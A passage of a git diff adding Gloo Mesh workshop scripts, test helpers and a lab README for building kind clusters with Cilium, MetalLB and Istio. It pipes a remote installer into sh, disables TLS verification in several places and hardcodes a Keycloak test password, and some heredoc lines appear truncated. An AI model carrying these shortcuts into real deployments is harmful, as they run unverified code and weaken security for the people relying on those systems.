hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null +./istio-*/bin/istioctl --context cluster1 pc all -n istio-gateways deploy/istio-ingressgateway -o json > /tmp/current-output +json-diff /tmp/previous-output /tmp/current-output diff --git a/gloo-mesh/platform/2-5/airgap/default/scripts/md-to-bash.sh b/gloo-mesh/platform/2-5/airgap/default/scripts/md-to-bash.sh new file mode 100755 index 0000000000..30b6a1f93d --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/scripts/md-to-bash.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +echo "source /root/.env 2>/dev/null || true" +sed -n '/```bash/,/```/p; //p' | egrep -v '```|' | sed '/#IGNORE_ME/d' diff --git a/gloo-mesh/platform/2-5/airgap/default/scripts/register-domain.sh b/gloo-mesh/platform/2-5/airgap/default/scripts/register-domain.sh new file mode 100755 index 0000000000..903bd0b714 --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/scripts/register-domain.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash + +# Check if the correct number of arguments is provided +if [ "$#" -ne 2 ]; then + echo "Usage: $0 " + exit 1 +fi + +# Variables +hostname="$1" +new_ip="$2" +hosts_file="/etc/hosts" + +# Check if the entry already exists +if grep -q "$hostname" "$hosts_file"; then + # Update the existing entry with the new IP + tempfile=$(mktemp) + sed "s/^.*$hostname/$new_ip $hostname/" "$hosts_file" > $tempfile + sudo mv "$tempfile" "$hosts_file" + echo "Updated $hostname in $hosts_file with new IP: $new_ip" +else + # Add a new entry if it doesn't exist + echo "$new_ip $hostname" | sudo tee -a "$hosts_file" > /dev/null + echo "Added $hostname to $hosts_file with IP: $new_ip" +fi diff --git a/gloo-mesh/platform/2-5/airgap/default/scripts/snapdiff.sh b/gloo-mesh/platform/2-5/airgap/default/scripts/snapdiff.sh new file mode 100755 index 0000000000..51786826eb --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/scripts/snapdiff.sh @@ -0,0 +1,6 @@ +mv /tmp/current-output /tmp/previous-output 2>/dev/null +pod=$(kubectl --context ${MGMT} -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${MGMT} -n gloo-mesh debug -q -i ${pod} --image=curlimages/curl -- curl -s http://localhost:9091/snapshots/output | jq '.translator | . as $root | ($root | keys[]) as $namespace | ($root[$namespace] | keys[]) as $parent | if $root[$namespace][$parent].Outputs then (($root[$namespace][$parent].Outputs | keys[]) as $object | ($object | split(",")) as $arr | {apiVersion: $arr[0], kind: ($arr[1] |split("=")[1])} + $root[$namespace][$parent].Outputs[$object][]) else empty end' | jq --slurp > /tmp/current-output +array1=$(cat /tmp/previous-output | jq -e '') +array2=$(cat /tmp/current-output | jq -e '') +jq -n --argjson array1 "$array1" --argjson array2 "$array2" '{"array1": $array1,"array2":$array2} | .array2-.array1' | docker run -i --rm mikefarah/yq -P '.' \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/airgap/default/tests/can-resolve.test.js.liquid b/gloo-mesh/platform/2-5/airgap/default/tests/can-resolve.test.js.liquid new file mode 100644 index 0000000000..7d1163da97 --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/tests/can-resolve.test.js.liquid @@ -0,0 +1,17 @@ +const dns = require('dns'); +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const { waitOnFailedTest } = require('./tests/utils'); + +afterEach(function(done) { waitOnFailedTest(done, this.currentTest.currentRetry())}); + +describe("Address '" + process.env.{{ to_resolve }} + "' can be resolved in DNS", () => { + it(process.env.{{ to_resolve }} + ' can be resolved', (done) => { + return dns.lookup(process.env.{{ to_resolve }}, (err, address, family) => { + expect(address).to.be.an.ip; + done(); + }); + }); +}); \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/airgap/default/tests/chai-exec.js b/gloo-mesh/platform/2-5/airgap/default/tests/chai-exec.js new file mode 100644 index 0000000000..f454d80bbe --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/tests/chai-exec.js @@ -0,0 +1,110 @@ +const jsYaml = require('js-yaml'); +const deepObjectDiff = require('deep-object-diff'); +const chaiExec = require("@jsdevtools/chai-exec"); +const chai = require("chai"); +const expect = chai.expect; +const should = chai.should(); +chai.use(chaiExec); +const utils = require('./utils'); + +global = { + checkKubernetesObject: async ({ context, namespace, kind, k8sObj, yaml }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + kind + " " + k8sObj + " -o json"; + let cli = chaiExec(command); + let json = jsYaml.load(yaml) + + cli.should.exit.with.code(0); + cli.stderr.should.be.empty; + let data = JSON.parse(cli.stdout); + let diff = deepObjectDiff.detailedDiff(json, data); + let expectedObject = false; + console.log(Object.keys(diff.deleted).length); + if(Object.keys(diff.updated).length === 0 && Object.keys(diff.deleted).length === 0) { + expectedObject = true; + } + expect(expectedObject, "The following object can't be found or is not as expected:\n" + yaml).to.be.true; + }, + checkDeployment: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDeploymentsWithLabels: async ({ context, namespace, labels, instances }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy -l " + labels + " -o jsonpath='{.items}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let deployments = JSON.parse(cli.stdout.slice(1,-1)); + expect(deployments).to.have.lengthOf(instances); + deployments.forEach((deployment) => { + let readyReplicas = deployment.status.readyReplicas || 0; + let replicas = deployment.status.replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + deployment.metadata.name + " in " + context + " not ready..."); + utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }); + }, + checkStatefulSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get sts " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDaemonSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get ds " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).numberReady || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).desiredNumberScheduled; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + k8sObjectIsPresent: ({ context, namespace, k8sType, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + k8sType + " " + k8sObj + " -o name"; + let cli = chaiExec(command); + + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + }, + genericCommand: async ({ command, responseContains="" }) => { + let cli = chaiExec(command); + if (cli.stderr && cli.stderr != "") { + console.log(" ----> " + command + " not succesful..."); + await utils.sleep(1000); + } + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + if(responseContains!=""){ + cli.stdout.should.contain(responseContains); + } + }, + getOutputForCommand: ({ command }) => { + let cli = chaiExec(command); + return cli.stdout; + }, +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); diff --git a/gloo-mesh/platform/2-5/airgap/default/tests/chai-http.js b/gloo-mesh/platform/2-5/airgap/default/tests/chai-http.js new file mode 100644 index 0000000000..d0b8a42277 --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/tests/chai-http.js @@ -0,0 +1,63 @@ +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const utils = require('./utils'); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +global = { + checkURL: ({ host, path = "", headers = [], retCode }) => { + let request = chai.request(host).head(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + }, + checkBody: ({ host, path = "", headers = [], body = '', match = true }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + if (match) { + expect(res.text).to.contain(body); + } else { + expect(res.text).not.to.contain(body); + } + }); + }, + checkHeaders: ({ host, path = "", headers = [], expectedHeaders = [] }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expectedHeaders.forEach(header => expect(res.header[header.key]).to.equal(header.value)); + }); + }, + checkWithMethod: ({ host, path, headers = [], method = "get", retCode }) => { + let request + if (method === "get") { + request = chai.request(host).get(path).redirects(0); + } else if (method === "post") { + request = chai.request(host).post(path).redirects(0); + } else if (method === "put") { + request = chai.request(host).put(path).redirects(0); + } else { + throw 'The requested method is not implemented.' + } + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + } +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/airgap/default/tests/keycloak-token.js b/gloo-mesh/platform/2-5/airgap/default/tests/keycloak-token.js new file mode 100644 index 0000000000..3ac1a691db --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/tests/keycloak-token.js @@ -0,0 +1,4 @@ +const keycloak = require('./keycloak'); +const { argv } = require('node:process'); + +keycloak.getKeyCloakCookie(argv[2], argv[3]); diff --git a/gloo-mesh/platform/2-5/airgap/default/tests/keycloak.js b/gloo-mesh/platform/2-5/airgap/default/tests/keycloak.js new file mode 100644 index 0000000000..aae79f0fdc --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/tests/keycloak.js @@ -0,0 +1,41 @@ +const puppeteer = require('puppeteer'); +//const utils = require('./utils'); + +global = { + getKeyCloakCookie: async (url, user) => { + const browser = await puppeteer.launch({ + headless: "new", + ignoreHTTPSErrors: true, + args: ['--no-sandbox', '--disable-setuid-sandbox'], // needed for instruqt + }); + const page = await browser.newPage(); + await page.goto(url); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Enter credentials + //await page.waitForSelector('#username'); + //await page.waitForSelector('#password'); + await page.type('#username', user); + await page.type('#password', 'password'); + await page.click('#kc-login'); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Retrieve session cookie + const cookies = await page.cookies(); + const sessionCookie = cookies.find(cookie => cookie.name === 'keycloak-session'); + let ret; + if (sessionCookie) { + ret = `${sessionCookie.name}=${sessionCookie.value}`; // Construct the cookie string + } else { + console.error(` No session cookie found for ${user}`); + ret = "keycloak-session=dummy"; + } + await browser.close(); + console.log(ret); + return ret; + } +}; + +module.exports = global; diff --git a/gloo-mesh/platform/2-5/airgap/default/tests/utils.js b/gloo-mesh/platform/2-5/airgap/default/tests/utils.js new file mode 100644 index 0000000000..9747efaa2c --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/tests/utils.js @@ -0,0 +1,13 @@ +global = { + sleep: ms => new Promise(resolve => setTimeout(resolve, ms)), + waitOnFailedTest: (done, currentRetry) => { + if(currentRetry > 0){ + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } + } +}; + +module.exports = global; \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/default/README.md b/gloo-mesh/platform/2-5/default/README.md new file mode 100644 index 0000000000..f68c161dfd --- /dev/null +++ b/gloo-mesh/platform/2-5/default/README.md @@ -0,0 +1,4960 @@ + + + + + +![Gloo Mesh Enterprise](images/gloo-mesh-enterprise.png) +#
Gloo Mesh Platform (2.5.0)
+ + + +## Table of Contents +* [Introduction](#introduction) +* [Lab 1 - Deploy KinD clusters](#lab-1---deploy-kind-clusters-) +* [Lab 2 - Deploy and register Gloo Mesh](#lab-2---deploy-and-register-gloo-mesh-) +* [Lab 3 - Deploy Istio using Gloo Mesh Lifecycle Manager](#lab-3---deploy-istio-using-gloo-mesh-lifecycle-manager-) +* [Lab 4 - Deploy the Bookinfo demo app](#lab-4---deploy-the-bookinfo-demo-app-) +* [Lab 5 - Deploy the httpbin demo app](#lab-5---deploy-the-httpbin-demo-app-) +* [Lab 6 - Deploy Gloo Mesh Addons](#lab-6---deploy-gloo-mesh-addons-) +* [Lab 7 - Create the gateways workspace](#lab-7---create-the-gateways-workspace-) +* [Lab 8 - Create the bookinfo workspace](#lab-8---create-the-bookinfo-workspace-) +* [Lab 9 - Expose the productpage through a gateway](#lab-9---expose-the-productpage-through-a-gateway-) +* [Lab 10 - Create the httpbin workspace](#lab-10---create-the-httpbin-workspace-) +* [Lab 11 - Expose an external service](#lab-11---expose-an-external-service-) +* [Lab 12 - Deploy Keycloak](#lab-12---deploy-keycloak-) +* [Lab 13 - Securing the access with OAuth](#lab-13---securing-the-access-with-oauth-) +* [Lab 14 - Use the transformation filter to manipulate headers](#lab-14---use-the-transformation-filter-to-manipulate-headers-) +* [Lab 15 - Use the DLP policy to mask sensitive data](#lab-15---use-the-dlp-policy-to-mask-sensitive-data-) +* [Lab 16 - Apply rate limiting to the Gateway](#lab-16---apply-rate-limiting-to-the-gateway-) +* [Lab 17 - Use the Web Application Firewall filter](#lab-17---use-the-web-application-firewall-filter-) +* [Lab 18 - Adding services to the mesh](#lab-18---adding-services-to-the-mesh-) +* [Lab 19 - Traffic policies](#lab-19---traffic-policies-) +* [Lab 20 - Create the Root Trust Policy](#lab-20---create-the-root-trust-policy-) +* [Lab 21 - Leverage Virtual Destinations for east west communications](#lab-21---leverage-virtual-destinations-for-east-west-communications-) +* [Lab 22 - Zero trust](#lab-22---zero-trust-) +* [Lab 23 - Securing the egress traffic](#lab-23---securing-the-egress-traffic-) +* [Lab 24 - VM integration with Spire](#lab-24---vm-integration-with-spire-) + + + +## Introduction + +[Gloo Mesh Enterprise](https://www.solo.io/products/gloo-mesh/) is a management plane which makes it easy to operate [Istio](https://istio.io) on one or many Kubernetes clusters deployed anywhere (any platform, anywhere). + +### Istio support + +The Gloo Mesh Enterprise subscription includes end to end Istio support: + +- Upstream first +- Specialty builds available (FIPS, ARM, etc) +- Long Term Support (LTS) N-4 +- Critical security patches +- Production break-fix +- One hour SLA Severity 1 +- Install / upgrade +- Architecture and operational guidance, best practices + +### Gloo Mesh overview + +Gloo Mesh provides many unique features, including: + +- multi-tenancy based on global workspaces +- zero trust enforcement +- global observability (centralized metrics and access logging) +- simplified cross cluster communications (using virtual destinations) +- advanced gateway capabilities (oauth, jwt, transformations, rate limiting, web application firewall, ...) + +![Gloo Mesh graph](images/gloo-mesh-graph.png) + +### Want to learn more about Gloo Mesh + +You can find more information about Gloo Mesh in the official documentation: + +[https://docs.solo.io/gloo-mesh/latest/](https://docs.solo.io/gloo-mesh/latest/) + + + + +## Lab 1 - Deploy KinD clusters + + +Clone this repository and go to the directory where this `README.md` file is. + +Set the context environment variables: + +```bash +export MGMT=mgmt +export CLUSTER1=cluster1 +export CLUSTER2=cluster2 +``` + +Run the following commands to deploy three Kubernetes clusters using [Kind](https://kind.sigs.k8s.io/): + +```bash +./scripts/deploy-multi-with-calico.sh 1 mgmt +./scripts/deploy-multi-with-calico.sh 2 cluster1 us-west us-west-1 +./scripts/deploy-multi-with-calico.sh 3 cluster2 us-west us-west-2 +``` + +Then run the following commands to wait for all the Pods to be ready: + +```bash +./scripts/check.sh mgmt +./scripts/check.sh cluster1 +./scripts/check.sh cluster2 +``` + +**Note:** If you run the `check.sh` script immediately after the `deploy.sh` script, you may see a jsonpath error. If that happens, simply wait a few seconds and try again. + +Once the `check.sh` script completes, when you execute the `kubectl get pods -A` command, you should see the following: + +``` +NAMESPACE NAME READY STATUS RESTARTS AGE +kube-system calico-kube-controllers-59d85c5c84-sbk4k 1/1 Running 0 4h26m +kube-system calico-node-przxs 1/1 Running 0 4h26m +kube-system coredns-6955765f44-ln8f5 1/1 Running 0 4h26m +kube-system coredns-6955765f44-s7xxx 1/1 Running 0 4h26m +kube-system etcd-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-apiserver-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-controller-manager-cluster1-control-plane1/1 Running 0 4h27m +kube-system kube-proxy-ksvzw 1/1 Running 0 4h26m +kube-system kube-scheduler-cluster1-control-plane 1/1 Running 0 4h27m +local-path-storage local-path-provisioner-58f6947c7-lfmdx 1/1 Running 0 4h26m +metallb-system controller-5c9894b5cd-cn9x2 1/1 Running 0 4h26m +metallb-system speaker-d7jkp 1/1 Running 0 4h26m +``` + +You can see that your currently connected to this cluster by executing the `kubectl config get-contexts` command: + +``` +CURRENT NAME CLUSTER AUTHINFO NAMESPACE + cluster1 kind-cluster1 cluster1 +* cluster2 kind-cluster2 cluster2 + mgmt kind-mgmt kind-mgmt +``` + +Run the following command to make `mgmt` the current cluster. + +```bash +kubectl config use-context ${MGMT} +``` + + + + +## Lab 2 - Deploy and register Gloo Mesh +[VIDEO LINK](https://youtu.be/djfFiepK4GY "Video Link") + + +Before we get started, let's install the `meshctl` CLI: + +```bash +export GLOO_MESH_VERSION=v2.5.0 +curl -sL https://run.solo.io/meshctl/install | sh - +export PATH=$HOME/.gloo-mesh/bin:$PATH +``` + +Run the following commands to deploy the Gloo Mesh management plane: + +```bash +kubectl --context ${MGMT} create ns gloo-mesh + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.5.0 + +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.5.0 \ + -f -< + +Then, you need to set the environment variable to tell the Gloo Mesh agents how to communicate with the management plane: + + + +```bash +export ENDPOINT_GLOO_MESH=$(kubectl --context ${MGMT} -n gloo-mesh get svc gloo-mesh-mgmt-server -o jsonpath='{.status.loadBalancer.ingress[0].*}'):9900 +export HOST_GLOO_MESH=$(echo ${ENDPOINT_GLOO_MESH%:*}) +export ENDPOINT_TELEMETRY_GATEWAY=$(kubectl --context ${MGMT} -n gloo-mesh get svc gloo-telemetry-gateway -o jsonpath='{.status.loadBalancer.ingress[0].*}'):4317 +export ENDPOINT_GLOO_MESH_UI=$(kubectl --context ${MGMT} -n gloo-mesh get svc gloo-mesh-ui -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8090 +``` + +Check that the variables have correct values: +``` +echo $HOST_GLOO_MESH +echo $ENDPOINT_GLOO_MESH +``` + + +Finally, you need to register the cluster(s). + +Here is how you register the first one: + +```bash +kubectl apply --context ${MGMT} -f - < ca.crt +kubectl create secret generic relay-root-tls-secret -n gloo-mesh --context ${CLUSTER1} --from-file ca.crt=ca.crt +rm ca.crt + +kubectl get secret relay-identity-token-secret -n gloo-mesh --context ${MGMT} -o jsonpath='{.data.token}' | base64 -d > token +kubectl create secret generic relay-identity-token-secret -n gloo-mesh --context ${CLUSTER1} --from-file token=token +rm token + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${CLUSTER1} \ + --version 2.5.0 + +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${CLUSTER1} \ + --version 2.5.0 \ + -f -< ca.crt +kubectl create secret generic relay-root-tls-secret -n gloo-mesh --context ${CLUSTER2} --from-file ca.crt=ca.crt +rm ca.crt + +kubectl get secret relay-identity-token-secret -n gloo-mesh --context ${MGMT} -o jsonpath='{.data.token}' | base64 -d > token +kubectl create secret generic relay-identity-token-secret -n gloo-mesh --context ${CLUSTER2} --from-file token=token +rm token + +helm upgrade --install 